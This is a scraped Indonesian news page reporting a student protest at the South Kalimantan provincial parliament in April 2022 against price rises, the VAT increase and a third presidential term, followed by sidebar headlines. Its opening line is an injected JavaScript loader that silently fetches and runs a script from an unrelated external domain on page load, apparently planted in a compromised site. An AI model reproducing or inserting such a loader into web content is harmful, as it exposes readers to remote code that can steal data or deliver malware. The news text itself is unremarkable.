(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aksi Demo BEM Se Kalsel Sentil Mahalnya Migor, BBM hingga Naiknya PPN


KANALKALIMANTAN.COM, BANJARMASIN – Mahasiswa mengenakan almamater bergerak menuntut “Demi Kemaslatan Masyarakat Kalsel” berdemontrasi di depan gedung DPRD Kalsel, Kamis (14/4/2022) pagi.

Mereka melakukan aksi unjuk rasa menolak kenaikan minyak goreng, BBM, PPN 11 persen, hingga menolak isu penunadaan Pemilu dan wacana presiden 3 periode.

Lebih dari 500 mahasiswa berasal dari sejumlah perguruan tinggi di Kalsel seperti dari Univesitas Lambung Mangkurat (ULM), Universitas Muhammadiyah Banjarmasin (UMB), Universitas Islam Negeri (UIN) Antasari Banjarmasin, Universitas Islam Kalimantan (Uniska) Muhammad Arsyad Al Banjari.

 

 

Baca juga: Aksi Demo Berakhir Ricuh, Jokowi Harus Evaluasi Menteri ‘Pelopor’ Isu 3 Periode

Pantauan Kanalkalimantan.com, pada pukul 09.30 Wita, mahasiswa dari berbagai kampus sudah memadati Jalan Brigjen Hasan Basri, Jalan Jenderal Sudirman hingga menuju Jalan Lambung Mangkurat ke depan kantor DPRD Kalsel dengan dikawal mobil kepolisian.

“Demi Kemaslatan Masyarakat Kalsel” mahasiswa berdemontrasi di depan gedung DPRD Kalsel, Kamis (14/4/2022) pagi. Foto: wanda

Long march dari kawasan kampus itu, aksi mahasiswa sambil membentangkan spanduk dan bendera. Mereka dengan lantang menyanyikan lagu mars mahasiswa.

Menariknya beberapa mahasiswa mengenakan kostum petani, pedagang, hingga nelayan terlihat dibariskan untuk memimpin jalannya aksi.

Sekitar 15 menit melakukan long march sambil membawa sejumlah spanduk tuntutan antara lain: Tolak Kenaikan Harga #Rakyat Sengsara, Kalsel Darurat Migor, Migor Mahal Pemerintah Gagal.

Sampai di sisi selatan kantor DPRD Kalsel, sejumlah massa langsung membuat barisan di depan ratusan pasukan kepolisian yang mengawal. Massa sempat mengancam akan menerobos masuk kantor DPRD Kalsel, jika dalam 10 menit ditunggu tidak ada wakil rakyat yang menemui mereka.

Untuk mengamankan aksi tersebut, kepolisian menurunkan 400 personil gabungan dari Polda dan Brimob Kalsel, dan Polresta Banjarmasin agar kondusif.

“Kami hadir, untuk mengamankan, mengayomi dan melayani mahasiswa yang berunjuk rasa dan menyampaikan aspirasinya di depan DPRD secara humanis,” kata Kapolresta Banjarmasin, Kombes Pol Sabana Atmojo. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

7 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

8 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

8 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

9 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

10 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

14 jam ago

This website uses cookies.